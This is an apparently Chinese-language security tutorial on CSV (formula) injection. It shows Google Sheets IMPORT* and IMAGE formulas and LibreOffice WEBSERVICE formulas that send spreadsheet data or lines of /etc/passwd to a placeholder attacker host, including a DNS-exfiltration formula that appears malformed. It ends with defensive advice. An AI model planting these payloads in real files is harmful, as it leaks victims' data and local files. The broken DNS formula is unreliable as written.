通过Formula注入(CSV注入)进行数据渗透
字数 1209 2025-08-26 22:11:22
CSV注入攻击与数据渗透技术详解
一、CSV注入攻击概述
CSV注入(Formula Injection)是一种利用电子表格软件(如Excel、Google Sheets、LibreOffice等)处理CSV文件时的特性进行攻击的技术。攻击者通过在CSV文件中嵌入恶意公式,当受害者打开或导入该文件时,公式会被执行,可能导致数据泄露或系统信息暴露。
二、Google表格数据渗透技术
1. 可利用的Google表格函数
Google表格提供了多种可用于数据渗透的内置函数:
-
CONCATENATE: 字符串连接函数
=CONCATENATE(A2:E2) -
IMPORTXML: 从XML/HTML/CSV等结构化数据源导入数据
=IMPORTXML(CONCAT("http://[remote IP]/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10") -
IMPORTFEED: 导入RSS或ATOM Feed
=IMPORTFEED(CONCAT("http://[remote IP]//123.txt?v=", CONCATENATE(A2:E2))) -
IMPORTHTML: 从HTML页面导入表格或列表数据
=IMPORTHTML(CONCAT("http://[remote IP]/123.txt?v=", CONCATENATE(A2:E2)),"table",1) -
IMPORTRANGE: 从其他电子表格导入数据范围
=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2") -
IMAGE: 插入远程图片
=IMAGE("https://[remote IP]/images/srpr/logo3w.png")
2. 攻击场景分析
场景1:Google表单评论注入(失败)
- 尝试在Google表单评论部分提交恶意公式
- Google自动在公式前添加撇号(')阻止执行
场景2:CSV文件导入攻击(成功)
- 创建包含恶意公式的CSV文件
- 使用Google表格的导入功能将CSV数据附加到现有工作表
- 公式执行后,用户数据通过HTTP请求发送到攻击者服务器
三、LibreOffice文件读取攻击
1. 基本文件读取
LibreOffice支持通过file://协议读取本地文件:
=file:///etc/passwd'#$passwd.A1
- 读取/etc/passwd文件的第一行
- 打开文件时会提示用户更新链接
2. 结合WEBSERVICE函数实现数据外传
=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)))
- 从/etc/passwd读取第一行
- 通过HTTP请求将数据发送到攻击者服务器
3. 多行数据读取技术
=WEBSERVICE(CONCATENATE("http://<ip>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
- 读取/etc/passwd的前两行
- 使用$字符(CHAR(36))分隔各行数据
4. DNS外传技术(解决URL长度限制)
=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41)FQDN>"))
- 使用ENCODEURL对数据进行URL编码
- MID函数限制数据长度(解决DNS 254字符限制)
- SUBSTITUTE替换特殊字符
- 通过DNS查询外传数据
四、防御措施
-
输入验证:
- 对所有用户输入的CSV数据进行严格验证
- 检测并过滤以等号(=)、加号(+)、减号(-)或@符号开头的单元格
-
输出编码:
- 在导出CSV数据时,对特殊字符进行转义
- 在公式前自动添加撇号(')
-
安全配置:
- 禁用不必要的电子表格函数
- 限制外部资源访问
-
用户教育:
- 培训用户不要打开来源不明的CSV文件
- 在打开CSV文件时注意安全警告
-
技术控制:
- 使用内容安全策略(CSP)限制外部连接
- 监控异常的网络请求
五、总结
CSV注入攻击是一种被严重低估的攻击向量,它利用了电子表格软件自动执行公式的特性。通过精心构造的公式,攻击者可以实现数据外泄甚至远程代码执行。防御此类攻击需要结合技术控制、安全编码实践和用户教育等多层次防护措施。